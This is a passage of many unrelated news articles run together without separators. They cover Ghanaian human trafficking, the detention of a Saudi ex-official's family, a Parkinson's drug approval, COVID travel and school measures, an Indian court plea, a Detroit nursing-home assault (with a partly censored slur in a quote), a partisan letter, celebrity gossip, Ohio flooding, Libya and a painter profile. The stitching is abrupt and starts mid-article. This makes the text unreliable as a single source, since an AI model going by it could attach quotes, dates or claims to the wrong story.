We usually work with the social welfare and the judicial service as our main stakeholders but we sometimes dont have enough resources and logistics, so when it comes to them playing their part, it becomes difficult.



Interference from authorities



Interference from authorities including traditional and religious leaders as well as politicians has been identified as a major factor affecting swift prosecution and fueling human trafficking and modern day slavery in the society.



NGOs, CSOs and human rights activists have consistently complained about interference from political and traditional authorities as well as corruption within the Police and the justice system - impeding investigation and prosecution of trafficking crimes.



Mr. Arthur cites, an incident in 2016, when about 14 children being trafficked from a community in the central region were intercepted at a police barrier.



Our officers went there and saw the situation and so were just going to prepare for the next line of action only for us to be told that the police had received information to let the children and the perpetrators to continue their journey.



The order, I was told, came from a politician. Those children were returned to their communities alright but the perpetrators were never seen again.



He spoke of another instance where he said, a former politician called the police in connection with a trafficking offence that was in court seeking to get the matter settled out court.



So this politician actually called our officer to try and negotiate for the case to be taken out of court and our officer was frank and told him that it cannot happen, he said.



There are slave masters with big money behind the practice but information to lead to their arrest is a big challenge for the police, says DSP Oppong.



The perpetrators will do everything to escape justice. They will pull every string available to them to ensure that justice doesnt happen, said Mr Awusi.



We have cases where senior police officers harass and intimidate NGO staff, to frustrate the search for justice, he added.



DSP Oppong, however, discounts that and complains about the lack of cooperation from NGOs.



The NGOs are only interested in data and not prosecution so you realise that after rescue, they fail to cooperate with the police, she said.



Seeking justice and reintegration



Please brother, find the man and arrest him for me. What he is doing is not good at all.



These are the words of an eleven year-old boy who was trafficked and sold into slavery in the southern Lake Voltas waters of the Volta Region of Ghana, virtually begging that his perpetrator is arrested and made to face the full rigour of the law.



Desmond (not his real name) and the other 130,000 people in the country who, according to the 2018 Global Slavery index, are entrapped in modern day slavery, are not likely to be served the justice they want.



Another victim, Ama (not the real name), a mother of two, from Assin-Fosu in the Central Region, was baited with a fake supermarket job by a relative to travel to Saudi-Arabia, where she ended up as a sex slave.



I became a sexual object to the son of my boss and himself. They took turns to sexually devour me for hours and days with threats and heaps of insults. My boss usually took his turn any time his wife was not around and threatened to kill me if I told his wife



Now back in her home country, Ama has been wondering if she can ever get justice. Unconvinced that she will get any justice, Ama has refused to report to the police but determined on building a new life.



Charting a committed path



Dealing with corruption, especially within the police and the justice system in the fight against human trafficking and modern day slavery, requires strong government commitment. It will also demand effective stakeholder collaboration.



If people can do it and get away with it, then the motivation to do it will be high. The human trafficking laws are not enforced consistently. Therefore, there is no deterrent at all, said Mr. Awusi.



It is important to ensure that every single case that is reported is pursued all the way through till a conviction is arrived at for the traffickers.



The back and forth can be very frustrating, daunting and demanding. If the parties involved do not have time and resources to follow it up to the end, then the case gets thrown away. said Mr. Awusi.



The government must put in place systems to facilitate fast-track prosecution of trafficking crimes, he added.



Government and other stakeholders can help by prioritising the arrest, prosecution and conviction of perpetrators of trafficking especially children trafficked into forced labor and the related psycho-social support of trafficked children, a 2014 report of child trafficking into forced labour by the International Justice Mission recommended.



Mr. Arthur underlined the need to put a system in place which would make it easier for people to report criminals who attempted to take advantage of weaknesses and delays in the courts system.



He also called for the police, social welfare department, the courts and other relevant stakeholders to work together to bring the perpetrators of these crimes to justice.



Until we get to that point where the district child protection agencies are actually accounting to one another and collaborating effectively, we will still have gaps when it comes to prosecutions, he stated.



The state must show total commitment to address the delays in the justice system and to fully resource its institutions and agencies to respond adequately to issues of trafficking especially child trafficking at the district level, he added.



This article was produced as part of a Reporting Trafficking and Modern Day Slavery journalism programme run by the Thomson Reuters Foundation.







Source: Afedzi Abdullah









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
Authorities arrested Saad al-Jabris relatives to force him to return to kingdom from Canada, son tells New York Times.

The son of a powerful former Saudi intelligence officer living abroad says members of the family are being targeted back home in a bid by Crown Prince Mohammed bin Salman (MBS) to force his father to return to the kingdom.

Saad al-Jabri, for years one of Saudi Arabias leading intelligence officials, has been fearing for his life since moving to Canada in 2017 and has been resisting pressure from MBS to go back to the kingdom, according to a New York Times report on Thursday citing his son, Khalid al-Jabri, and associates.

Khalid told the newspaper that his brother, sister and uncle have been arrested by Saudi security forces and held incommunicado since March.

It has been weeks and we dont know where they are, he was quoted as saying. They were kidnapped from their beds. I dont even know if they are alive or dead.

There was no comment by Saudi Arabia.

Power struggle

An expert in artificial intelligence, Saad held a number of top positions in Saudi Arabia and played a key role in its fight against al-Qaeda and security coordination with its ally, the United States.

His son and former US officials who worked with him say MBS wants to force al-Jabri to return to the kingdom as he fears anyone outside of his control who has access to secret information, the Times reported.

Gerald Feierstein, senior vice president at the Middle East Institute in Washington, DC who dealt with al-Jabri while serving as the US ambassador to Yemen, told the newspaper that al-Jabri was acquainted with so many sensitive issues that he would know where the bodies are buried, and possibly unflattering information about MBS.

Al-Jabris intelligence career came to an end following the power struggle between MBS and Prince Mohammed bin Nayef (MBN), the former crown prince. He was out of the kingdom in 2017 when MBN was replaced as heir to the throne when King Salman elevated his son, MBS, to the role and gave him wide authority to become the kingdoms de facto ruler.

MBN was put under house arrest at the time, according to reports. He was arrested in March this year, reportedly because he was complaining privately about how MBS was running Saudi Arabia.

Al-Jabri, seen as a very close ally of MBN, decided to not settle in the US despite his deep ties there because he was concerned that the administration of President Donald Trump would send him back to Saudi Arabia if MBS requested it, a person briefed on the case told the Times.

The newspaper said when al-Jabri left Saudi Arabia, authorities began placing restrictions on two of his children who remained in the country  Sarah, 20, and Omar, 21.

They had planned to study in the US but within hours of MBSs rise to crown prince, they discovered that they were barred from leaving the kingdom, according to Khalid al-Jabri.

Their bank accounts were frozen and they were summoned for questioning and told to encourage their father to come home, he said.

Security forces took them from their beds in their home in the capital, Riyadh, at dawn on March 16, and the family is growing increasingly worried as they have not heard from them since.

Last week, authorities also arrested al-Jabris brother, Abdulrahman al-Jabri, a US-educated electrical engineering.

Lobbying for release

Saudi Arabias human rights record has come under intense scrutiny following the murder of Saudi journalist Jamal Khashoggi at the kingdoms consulate in Istanbul in October 2018.

The CIA and others reportedly believe MBS ordered the killing of Khashoggi, who wrote opinion columns critical of the crown prince in The Washington Post. Saudi Arabia denies any involvement by MBS in the case.

Khashoggis killing has changed the situation for those who once felt safe abroad, and the al-Jabri family has now hired a Washington-based lobbying firm to press for the release of the detained relatives.

Gulf Affairs analyst Sigurd Neubauer told Al Jazeera the detentions are tarnishing Saudi Arabias international reputation, however, any release expected from lobbying depends on the upcoming US presidential election.

The long game is tied to the US presidential election. In the event Joe Biden wins, I think that we can see a whole sale of releases of high profile Saudi dissidents and members of the royal family, Neubauer said.

President Trump has personalised his relationship with Crown Prince Mohammed, and it is unlikely that any sort of lobbying will sway him in the immediate to long term. But these developments are unfortunately only adding to the already severely damaged reputation that Saudi has in the US.
NEW YORK, May 22, 2020 /PRNewswire/ -- The Michael J. Fox Foundation for Parkinson's Research (MJFF) announces a milestone in the Foundation's impact on the Parkinson's disease (PD) therapeutic landscape. On May 21, 2020, the U.S. Food and Drug Administration approved Kynmobi from Sunovion Pharmaceuticals Inc. This new therapy  which treats "off" time, when PD symptoms are not well controlled with oral medication  marks the second regulatory approval of a Parkinson's treatment funded by the Foundation.

"The remarkable momentum in Parkinson's research continues, and MJFF is proud to contribute to this success," said MJFF CEO Todd Sherer, PhD. "This approval brings an important new treatment option for people with Parkinson's who experience 'off.' We know from our research and discussions with the Parkinson's community that 'off' time can significantly disrupt daily life, which is why we funded early clinical development of Kynmobi."

The Foundation partially funded Phase I trials of Kynmobi  a thin-film formulation of apomorphine placed under the tongue  by biotechnology company Cynapsus Therapeutics in 2012 and 2014 with two grants totaling more than $1.4 million. This funding was made possible through a collaboration with MJFF's longtime supporter and partner the Edmond J. Safra Foundation. After multiple rounds of venture capital investment and a public offering, Sunovion acquired Cynapsus in 2016 and continued the development of Kynmobi.

Early Foundation Investments Making Impact

This latest drug approval is an example of the Foundation's strategy to fund early development of promising therapies and "de-risk" them for further investment. MJFF's "de-risking" model worked for Inbrija  an inhaled levodopa formulation for "off" time  which also received early funding from MJFF and was approved by the FDA in December 2018. More than 35 other potential therapies are advancing through clinical trials thanks to Foundation funding.

The Foundation directs its donor-raised funds to the areas of most pressing patient need: from better symptom management to treatments to slow, stop or even prevent Parkinson's progression. And many more therapeutic programs benefit from other types of support, such as MJFF's participant recruitment efforts and its work to develop effective measures of Parkinson's disease.

New Treatment Option Supports Patient Need

The newly approved Kynmobi helps quickly alleviate "off" time when Parkinson's symptoms such as tremor or stiffness return between medication doses. These "off" periods can greatly impact quality of life, by limiting the ability to complete everyday tasks and adding uncertainty to a patient's day.

A 2014 MJFF survey of more than 3,000 people with Parkinson's disease found that more than 60 percent of respondents were in an "off" state for two or more hours per day and nearly 50 percent said their "off" time caused them to avoid or stop activities.

Sunovion Pharmaceuticals Inc. Chief Executive Officer Antony Loebel, MD, said, "We understand how profoundly disruptive these off periods are and are pleased to have developed a treatment that helps bring a person living with Parkinson's disease back on. We are grateful to The Michael J. Fox Foundation for its early support of Kynmobi and continued partnership in educating patients on the experience of 'off'."

Since 2017, Sunovion has been a member of The Michael J. Fox Foundation-led Parkinson's Disease Education Consortium (PDEC), an alliance of biotechnology and pharmaceutical firms that support MJFF's commitment to furnishing high-quality education resources for the Parkinson's community. In that time, PDEC has supported programs to increase research participation, bridge the communication gap between patients and health care providers, and connect the Parkinson's community to resources through Parkinson's IQ + You events.

About The Michael J. Fox Foundation for Parkinson's Research

As the world's largest nonprofit funder of Parkinson's research, The Michael J. Fox Foundation is dedicated to accelerating a cure for Parkinson's disease and improved therapies for those living with the condition today. The Foundation pursues its goals through an aggressively funded, highly targeted research program coupled with active global engagement of scientists, Parkinson's patients, business leaders, clinical trial participants, donors and volunteers. In addition to funding more than $900 million in research to date, the Foundation has fundamentally altered the trajectory of progress toward a cure. Operating at the hub of worldwide Parkinson's research, the Foundation forges groundbreaking collaborations with industry leaders, academic scientists and government research funders; increases the flow of participants into Parkinson's disease clinical trials with its online tool, Fox Trial Finder; promotes Parkinson's awareness through high-profile advocacy, events and outreach; and coordinates the grassroots involvement of thousands of Team Fox members around the world.

For more information, visit www.michaeljfox.org.

SOURCE The Michael J. Fox Foundation for Parkinsons Research

Related Links

www.michaeljfox.org


Newsfrom Japan

Tokyo, May 22 (Jiji Press)--The Japanese government will expand soon the scope of its entry ban to newly cover India, Argentina and nine other nations, officials said Friday.

The total number of foreign jurisdictions subject to the entry ban related to the novel coronavirus outbreak will thus reach 111.

The Foreign Ministry raised its virus-linked travel alert to Level 3 for the 11 countries, urging the Japanese citizens not to travel to the nations.

The remaining nine of the 11 nations are Pakistan, Bangladesh, El Salvador, Kyrgyz, Tajikistan, Afghanistan, Ghana, Guinea and South Africa.

"Caution remains necessary" even though the spread of COVID-19 is slowing in Japan, Foreign Minister Toshimitsu Motegi told a press conference.

[Copyright The Jiji Press, Ltd.]
Northside Independent School District honored seniors with homemade signs and decorations this week as the students picked up their graduation attire.

The coronavirus pandemic thwarted plans for seniors, who were looking forward to end-of-high school traditions like prom and graduation.

Texas schools have been approved to host in-person graduation ceremonies as long as the events are outdoors. NISD released the adjusted graduation ceremony plans, which will be hosted at each of the campus auditoriums the week of June 15 rather than at the Alamodome. The events give students the chance to cross a stage, but it will be contactless.

The district added some flair to the pick-up event at campuses like Clark and Brandeis to help make the milestone special for the teens.

"Some things never change," the district said online. "Our teachers are there for their students, no matter what. They even show up on a hot day with homemade signs to cheer on their seniors as they pick up their caps and gowns. That's #NISDFamily!"

Photos show staff members dressed in costume and greeting students with heartfelt or funny poster messages. Last week, staff at Marshall High School also gave students yard signs to post at their homes to mark their accomplishments.
The Supreme Court Friday asked the Consulate General of Iran to approach the Madras High Court with his plea which has alleged that two Iranian nationals, who are undergoing 20-year sentence in a narcotics case, have been harassed by a jail superintendent in Chennai.

The plea came up for hearing through video-conferencing before a bench comprising Chief Justice S A Bobde and Justices A S Bopanna and Hrishikesh Roy.

"Counsel for the petitioner seeks permission to withdraw this petition with liberty to approach the Madras High Court. Permission sought for is granted. The writ petition is dismissed as withdrawn with the liberty afore-mentioned," the bench said in its order.

"In case the petitioner fails before the high court, liberty is reserved to the petitioner to move this court once over again by filing appropriate petition," the bench said.

The plea, filed through advocate Rajiv Raheja, had sought directions to the Tamil Nadu government and other concerned authorities to protect Iranian nationals -- Masoud Mosavi and Mahmood Zafarany -- from the alleged "threats and illegal actions" of a jail superintendent of Puzhal central prison in Chennai.

The plea had sought a direction for a judicial inquiry into the alleged atrocities committed by the jail superintendent against the inmates lodged there.

It had also sought a direction to the authorities to pay a compensation of Rs one crore each to the families of Mosavi and Zafarany for the alleged "inhuman treatment" and violation of their rights.

The plea said that the Embassy had pursued the matter with the state administration, including the office of the chief minister of Tamil Nadu, but neither any action has been taken against the "errant officer" so far nor were any remedial measures taken by the jail authorities.

The plea said that Mosavi and Zafarany were sentenced to 20 years in jail under the Narcotic Drugs and Psychotropic Substances (NDPS) Act and are undergoing imprisonment for the past seven years.

It said that appeals filed by them against the trial court's verdict are pending before the high court.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Registration for School Age Child Care in Hamilton County Schools this summer finished with no need to hold a lottery to fill slots at the sites. Approximately 400 children were registered at the planned 25 locations for this summer.

Five sites went over the 25 student limit in registrations, but officials have already worked with parents at those locations to move children to other sites to get all children registered into a program for the summer.

School-aged child care in Hamilton County Schools will begin on June 1, and will be expanded to 25 school site locations this year. The additional sites will help to keep the number of children at each site lower than summer programs in the past. The number of children at each location is limited to 25 children. The smaller number of children will help to provide the safest environment possible for children, staff, and families.

For additional safety precautions, no field trips will be taken during the 2020 summer program.

Parents should keep students at home who are exhibiting symptoms such as a cough, shortness of breath, sneezing, runny nose, fever, vomiting, or diarrhea in the 24 hours before a scheduled day a child is to spend in the Child Care Program.

A child must have no fever without medication to reduce the fever for 24 hours before returning. Students will be required to have temperatures taken upon arrival at the sites each day. Students with a temperature above 100 will not be permitted to attend that day. Children who begin to display symptoms of coughing, shortness of breath, sneezing, runny nose, fever, vomiting, or diarrhea while in care will be required to be picked up. Children will wash their hands or use hand sanitizer numerous times throughout the day.
President Donald Trump tweeted in disbelief after disturbing videos surfaced appearing to show a black man beating white elderly patients to a pulp at a Michigan nursing home.

Shocking video footage emerged on social media Thursday showing the young man at the Westwood Nursing Center in Detroit, whom authorities say was a patient of the same facility, repeatedly punching elderly victims as they lay defenseless in their beds.

'Is this even possible to believe? Can this be for real? Where is this nursing home, how is the victim doing?' the president tweeted later that same evening.

Detroit Police confirmed they arrested a 20-year-old man allegedly in the footage.

Shocking video footage emerged on social media Thursday showing the young man repeatedly punching elderly victims as they lay defenseless in their beds

President Donald Trump tweeted in disbelief after disturbing videos surfaced appearing to show a black man beating white elderly patients to a pulp at a senior care home. The president is pictured on the White House South Lawn Thursday

'Can this be for real?' Trump asks in his tweet reacting to the shocking videos. Detroit Police confirmed they have arrested a man who allegedly appears in the footage

The suspect was not identified, Fox News reports.

In one video, which seems to have been filmed by the abuser, the man calmly faces the camera.

He then appears to lay multiple punches on the face of an elderly man lying face down on the bed.

The victim tries in vain to shield his head from the rain of punches before he tries to get up.

The abuser then grabs him by the neck and pulls him off the bed.

He then turns the camera round to show the injuries he has caused to his victim, with blood seen streaming down the old man's face.

The aggressor is then heard saying: 'This b**ch-a** n**r wouldn't get off my bed.'

A separate horrific video was also posted on social media appearing to show the same man abusing another elderly victim.

In the footage the suspect holds his fist in front of the camera and then launches the attack on the elderly victim who is lying in bed.

Detroit Police Department confirmed Thursday afternoon they had arrested someone over the incident which they said took place at a 'senior home'.

'Thank you to everyone for your assistance in bringing the senior home incident to our attention,' the police department said in a tweet.

In one video, which seems to have been filmed by the abuser, the man calmly faces the camera and then appears to lay multiple punches on the face of an elderly man lying face down on the bed.

The suspect then turns the camera round to show the injuries he has caused to his victim, with blood seen streaming down the old man's face

'The Detroit Police Department is investigating the situation, and an arrest has been made. Thank you again.'

DailyMail.com has reached out to the Detroit Police Department for comment.

Comments on social media initially said the incident took place at a psychiatric hospital but both the hospital and the Michigan Department of Health & Human Services have denied this.

'A social media post was saying that this occurred at one our department's state psychiatric hospitals, but that was incorrect,' Michigan Department of Health & Human Services told DailyMail.com over email.

In the second video the same man appears to repeatedly punch another elderly victim
Reggie Regrut (letter, May 19) recently said that President Trumps visit to West Point is a political stunt. He would like to think this visit is strictly for political gain during this upcoming election. However, if he took a good look at the president he might realize hes doing it because he really loves this country. These cadets love this country too, and are willing to fight for it.

Regrut claims that Trump is a draft-dodging coward and suggests we vote for Joe Biden. I would ask Regrut and readers to look at Bidens military record. Biden received student draft deferments during the Vietnam War. Do you know how many wealthy families made their sons go to college to get out of fighting? Im betting a lot of them.

After completing his studies, the Selective Service System classified him as unavailable for service because of a history of asthma as a teenager. Bone spurs vs. asthma/student deferments. In my opinion Biden is a draft dodger and maybe a coward, too.

Lets see how long he hides in his basement!

Karen Wyant

Palmer Township
He claims he's nothing like his character Connell Waldron in hit BBC drama Normal People.

But after Paul Mescal was spotted shirtless and wearing an Otiumberg chain with a pendant around his neck, some fans might beg to differ.

The Irish star, 24, who has become an overnight sex symbol after his appearance in the adaptation of Sally Rooney's novel, showed off his physique while out running in east London.

Phwoar-mal people! Paul Mescal was spotted shirtless and wearing an Otiumberg chain and pendant around his neck

Viewers will be used to seeing Mescal shirtless, as the series includes frequent sex scenes  but fans have noted that the one item Connell never seems to remove is his necklace.

The accessory now has its own Instagram page with 148,000 followers.

Normal People tells of the on-and-off relationship between two Irish teenagers from different backgrounds as they move from a small rural town to Dublin and into adulthood.

Hunk: The Irish star, 24, who has become an overnight sex symbol after his appearance in the adaptation of Sally Rooney's novel, showed off his physique while out running in east London

Beloved jewellery: Viewers will be used to seeing Mescal shirtless, as the series includes frequent sex scenes  but fans have noted that the one item Connell never seems to remove is his necklace

Mescal recently joked that his character Connell's silver chain necklace will 'always be more popular' than he is.

He spoke to Nick Grimshaw on BBC Radio 1 show where he discussed all things about the Sally Rooney novel adapted drama.

Talking about Connell's silver chain necklace and the fan page dedicated to it on Instagram, Paul joked: 'It's slightly terrifying. I'd be slightly embarrassed if the chain account took over my follower count.

Celebrity status: The accessory now has its own Instagram page with 148,000 followers

'But it's probably going to happen at some time so I better just reconcile that fact, that the chain will always be more popular than I am.

'It was a couple of days after the show aired I saw like a little page started somewhere and now it's like this beast that's growing legs. I think it's just so funny because it's a chain.'

Mescal went on to admit that he wore chains himself before the BBC show and never got the attention that Connell has.

He continued: 'I'm not going to abuse anybody who thinks chains are sexy but I wore chains and necklaces before and I definitely didn't get the attention that this chain is getting.

'So hopefully we're doing a good thing for chains all around the world and we'll see them getting the correct respect that they deserve. We've been sleeping on chains far too long in my opinion.'

Mescal this week revealed that he is single and looking for love, telling the I'm Grand Mam podcast he was keen to start dating once the lockdown is lifted.

However, he warned: 'If anybody ever dates me I am not Connell and nor do I want to be him.'

Famous chain: The Instagram account, @connellschain, has 49 posts of different pictures that feature the famous necklace

Single and ready to mingle! Paulr evealed that he's single and looking forward to dating (pictured in January)

The Irish heartthrob said: 'I stopped using [apps] weeks before because I didn't like it anyway. To be honest I'm really looking forward to dating.

'I'm trying not to think of it being weird because look, we've been in lockdown for months. I've had no kind of opportunity to be like meeting somebody new or being remotely intimate with anybody.'

He added: 'I think we're at the point where I want to get married and settle down. But you know that kind of hysterical thing where if lockdown ever happens again, I'm making sure that I'm married. But yeah, I am looking forward to dating!'

Paul's interview comes after he revealed that his granny had to issue warnings to other family members about the nature of his raunchy Normal People sex scenes.

The Irish heartthrob said: 'I stopped using [apps] weeks before because I didn't like it anyway. To be honest I'm really looking forward to dating'

The star spoke with co-star Daisy Edgar-Jones, who plays Marianne in the drama, on last Friday's episode ofThe Graham Norton Show.

Paul said: 'My granny warned my great aunt that there were a lot of sexy bits and that when she felt those were about to happen she should go off and do something else...

'In episode two when we started kissing she took the dog out...

'But she underestimated the time it would take and as she came back in we were right in the throes of it all... I suggested that a good long chore or a couple of cups of tea would do the trick next time!'

Co-star: The star spoke with co-star Daisy Edgar-Jones (pictured), who plays Marianne in the drama, on last Friday's episode ofThe Graham Norton Show

As well as the sexy scenes, the duo discussed the fact the show has just reached the 30 million viewer mark, as Daisy said: 'It's hard to believe people like it when we're sitting in our bedrooms. It's surreal.'

Paul went on: 'That's not even a number I can compute. It sounds really good and brilliant but it's not something either of us anticipated. It's just been good news after good news. It's crazy!'

The 12-part drama is based on Sally Rooney's bestselling novel about the turbulent relationship between working-class Connell [Mescal] and well-heeled Marianne [Edgar-Jones], it has been praised for its unflinching take on sexuality.

Watch Normal People on BBC3, or on Stan in Australia.
PARMA HEIGHTS, Ohio -- Heavy rains last week (May 15) flooded homes throughout Parma Heights.

The strange part of this one is it seems like it was not only (basement) flooding, but we experienced more ponding and backyard flooding than we had any other time previously, Mayor Michael P. Byrne said.

Part of it is the ground is so saturated that its just holding a lot of the rainwater. Also, it all depends on the contour of the peoples back yard -- if the pitch is towards the house or how the backyards are graded.

So far, the city has received more than 75 calls regarding flooded homes, many of which were located in typical hotspots such as Parma Park Boulevard, Maplewood Road and Orchard Boulevard.

Byrne said there were also little pockets of flooded homes, such as by the reservoir on Hodgman Drive.

I know the people are frustrated, Byrne said. Believe me, I am, too. Talking to other mayors whose cities got hit the same way, its just when that cloudburst sits there and you get an inch or an inch and a half in an hour of rain, its hard for the systems to carry that kind of load.

One solution looming for the city involves the proposed construction of a retention basin at the 24-acre Nathan Hale Park. Parma Heights is getting ready to submit a plan seeking approval from the National Park Service.

The proposed roughly six-acre retention basin -- which will include a walking path, benches, wetland plants and vegetation -- is designed to provide flooding relief for more than 400 homeowners located on Maplewood Road, Oakwood Road, Meadowbrook Drive, Greenleaf Avenue, Beresford Avenue, Oakdale Drive and Parma Park Boulevard.

I dont want the people to think this is going to be the cure-all, but weve been told it will help (with basement flooding), Byrne said. Were still in the process of talking, negotiating with the National Parks Service regarding that basin. Were trying to fast-track that as quickly as possible.

Once approved, the retention project will divert 250 acres of the upstream drainage area into the basin, which has been sized to provide storage for 11 million gallons of stormwater designed to be slowly released back into the citys storm sewer system over an extended period of time.

Roughly estimated at $1.4 million, the retention basin will be paid for using a $1 million Northeast Ohio Regional Sewer District (NEORSD) grant, which covers 75 percent of the project. The city also plans to use its NEORSD Community Cost-Share Program funds to cover the $299,300 balance, as well as the $52,000 design cost.

Were also working with the Northeast Ohio Regional Sewer District on potentially another area that would impact the flooding, Byrne said.

Communities in the southern portion of Cuyahoga County are eagerly awaiting the highly anticipated NEORSD Cuyahoga River Stormwater Master Plan.

The districts Regional Stormwater Management Program is actively working to acquire a targeted parcel in Parma Heights for the construction of a regional stormwater detention basin, NEORSD Watershed Team Leader Donna Friedman said.

The parcel will facilitate implementation of a recommended project in the Cuyahoga River North Stormwater Master Plan, which will be finalized at the beginning of the summer.

The multi-phased project will significantly reduce basement flooding in the Meadowbrook Drive neighborhood, west of Nathan Hale Park. The project includes a district-owned stormwater basin facility, district-led potential daylighting of a culverted stream and City of Parma Heights local sewer improvements. All of this will be completed with the assistance and partnership of Parma Heights," Friedman said.

Byrne added: Were doing our due diligence. I know that its not coming as quickly as the residents would like, but were working as hard as we can on it.

Read more news from the Parma Sun Post.
The Egyptian President last weekend threatened to commit the Egyptian army to Libya if the self-proclaimed National Libyan Army (NLA) of Khalifa Haftar were to be put in difficulty in its fight against terrorism, referring to the Government of National Accord of Fayez al-Sarraj.

The interview has raised the fears of the African Union contact group on Libya, as a direct confrontation on Libyan soil would further complicate the return to peace.

A direct confrontation between Turkey and Egypt on Libyan soil  and no longer just by proxy  would further complicate the return to peace, a diplomat said, reiterating the African Unions position that there is no military solution to the Libyan conflict.

The possibility of Egyptian military involvement in Libya may indeed further complicate a conflict already characterized by numerous foreign interference. The danger would be that it would cross its borders, which would affect North Africa, the Sahel and Europe at the same time. The threat brandished by president Abdelfattah Al Sissi to engage his army in the Libyan theater comes at a time when circulates in the spans of the UN a voluminous report on the role of foreign interference and mercenaries in the exacerbation of the Libyan crisis .

According to this confidential report, Khalifa Haftar would benefit from the support of mercenaries of various origins, including Russians, Syrians and Sudanese.
Natvar Bhavsars paintings do not reflect our immediate realities or matters of the physical world, as we know it. And yet, viewing his paintings, despite the lack of representational forms, is an intense visual experience.

Natvar Bhavsars paintings do not reflect our immediate realities or matters of the physical world, as we know it. And yet, viewing his paintings, despite the lack of representational forms, is an intense visual experience.

I met him on an unusually cold March afternoon in New York City. As I arrived at his studio-cum-apartment in SoHo, the hustle and bustle of the street outside made way for a large, maroon canvas that was hung right at the entrance to his house. A large number of finished and work-in-progress canvases were stacked right across the big one. Bhavsar, dressed in black, greeted me with a dramatic line that I am paraphrasing from memory: welcome to a different time zone. Indeed, an artists world is quite different from the goings-on of the outside world, and Bhavsars is not different, especially because his work has no obvious relation to corporeality. The living room of his residence is full of his paintings, mounted in the manner of an art exhibition: the whites, greens, yellows of these enormous canvases create an atmosphere of stillness. Silence is so accurate, Mark Rothko, the pioneering 20th-century abstract artist who influenced Bhavsars own inclination towards non-representational art, once said. The first glimpse of Bhavsars work reveals just this. But there is more to his paintings than silence.

In Bhavsars work, what the viewer beholds is a vastness of colour, which is the result of layers and layers of dry pigment  typically close to a hundred  applied over the canvas. It is an unusually laborious process, involving at least ten hours of daily studio work, mostly standing or squatting. At 85, Bhavsar (b 1934), an Indian-born, American artist, continues to be absorbed in his practice with the vigour of a young man. When I met him at his residence, I found him to be much younger than his age  tall, lean, agile, with a penetrating gaze, and long, slender hands that befit a painter. Advancing age is the least of his concerns, when he said that he wanted to live for another thousand years. It would take thousands of years to surmise that there is nothing more to explore in this path, he said, referring to the (still) unravelling possibilities of his colour-based abstract language.

Despite being non-representational, Bhavsars paintings invoke many indirect visual references such as the unbridled play of colours during Holi, which shaped his sense of aesthetic as a young boy; the dyed fabrics drying up in the sun, which he grew up around; the sheer brilliance of colour in Indian miniature paintings; and the wall paintings of Ajanta, which he visited as a young man. As a young boy, I had a natural tendency to walk into the wilderness and examine minute events, such as dewdrops, raindrops, the falling of leaves, a rainbow, or incredible small particles floating back and forth through the roof of the house  these kind of things would hold my attention, Bhavsar said, decoding the hidden visual metaphors in his abstract work. There are other non-autobiographical but equally implicit visual references in his work, such as the science of geology, which is about the study of the solid components of Earth; or the galaxies, which comprise billions of stars and dark matter. The luminous forms of colour, painted as if they are floating about on their own in space, point to a strong affinity with the science of astronomy in his work.

His paintings are only restricted by the scale of his canvas, which otherwise establish an aura of infinity, a quality which defines The Universe. It is because of this reason that the very abstract nature of his work, despite his training in realist art, hints at something fundamental about our existence. While one can interpret his art in different ways, it is possible to only talk around it. In his own words, his art does not require any support, it brings you to enjoy it as it is.

Born into a family of textile hand-printers in Gothava, Gujarat, Bhavsar gravitated towards art at an early stage of his life. He began training in visual art during high school and excelled in a state-level exam in drawing. By 1953, when he was 19 years old, he began teaching drawing at Gujarats Chanasma High School. At the school, he also took classes in advanced study for drawing teachers diploma.

If his Indian roots, especially in Gujarat where he was born, sowed the seeds for his early exposure to and engagement with art, his American life, which began in the early 1960s, shaped his vision as a widely regarded artist of abstraction. An important catalyst for his imagination was an exhibition of paintings by Paul Klee and Wassily Kandinsky, both pioneers of line- and colour-based abstract painting in the 20th century, which he viewed in the United States. They had created magic and I thought there was room for the eternal. Thats why I say that I want to paint for 1,000 years, which would be too short to explore the possibilities of creating, he said.

Bhavsar was drawn to the quality of the limitless at an early age. As a 19-year-old man, he visited the ancient rock-cut caves of Ajanta and Ellora near Maharashtras Aurangabad district. According to the historian William Dalrymple, the Ajanta paintings are possibly the finest picture galleries from the ancient world, with many of them representing nothing less than the birth of Indian painting. It is also a well-known fact that the artistic innovation and grandeur of the caves, their sculptures, murals and paintings have ignited the imagination of many artists in the subcontinent and beyond, and across time periods. Bhavsar was no different. The deep spiritual transcendence of the Ajanta paintings, their stylised forms, imbued with a striking divinity, and their enormous scale had an impact on him. The Ajanta encounter led him to discover, in himself, an early penchant for dabbling with ideas of what he refers to as the unknown. At that time, I made a lot of pencil drawings and I wish I could bring them back from wherever they are now. But the beauty and power of how a mark can lead you to examine the unknown. That became a fascination very early.

For Bhavsar, the realm of the unknown is intertwined with the scale of his paintings. Prolific output, especially in terms of the monumentality of works, has been a major and early characteristic of his oeuvre  a quality that instantly drew him towards the works of Americas abstract expressionists, who are known for their life-size paintings and distinctly spontaneous and powerful use of vast amounts of colour. In India, while studying art at CN School in Ahmedabad, he created an 80-ft rangoli, which took 15 days to complete. While juggling between teaching and taking advanced training in art, Bhavsar created large-scale murals that often drew upon Indias religious and mythological texts, and traditional painting. His early workings with realist art also included landscapes, on Kashmir; portraiture; and cubism (the latter being the first influence of western-style modernism on Bhavsar). At the school, where he enrolled in a five-year diploma course in art in 1956, his teacher was Rasiklal Parekh (1910-1982), an important artist from Gujarat who worked with sculptures, paintings and woodcuts. Bhavsar recalls: Our professor, Rasiklal Parekh, was a genius. People do not recognise him, but his lyricism in line, if he drew He would take us out to draw from nature, and he would take a pencil and scribble, and all of a sudden, you would see magic happening on paper.

In the early 60s, Bhavsar exhibited for the first time, along with many other artists, including the avant-garde abstractionist Jeram Patel, as part of the Progressive Painters of Ahmedabad collective. Despite his early success as a realist-figurative painter in India, Bhavsar was already looking in another direction that would pave the way for a unique colour-based language that he is now synonymous with. In the mid-50s, he viewed paintings by abstract expressionist Mark Rothko, which were displayed at an exhibition by the Museum of Modern Art (MoMA) in Ahmedabad. When these paintings were shown, they had relation to my needs, he said, pointing towards a new artistic trajectory, combining the purity of abstraction and colour, which Rothko was known for, as an important colour-field artist of the 20th century.

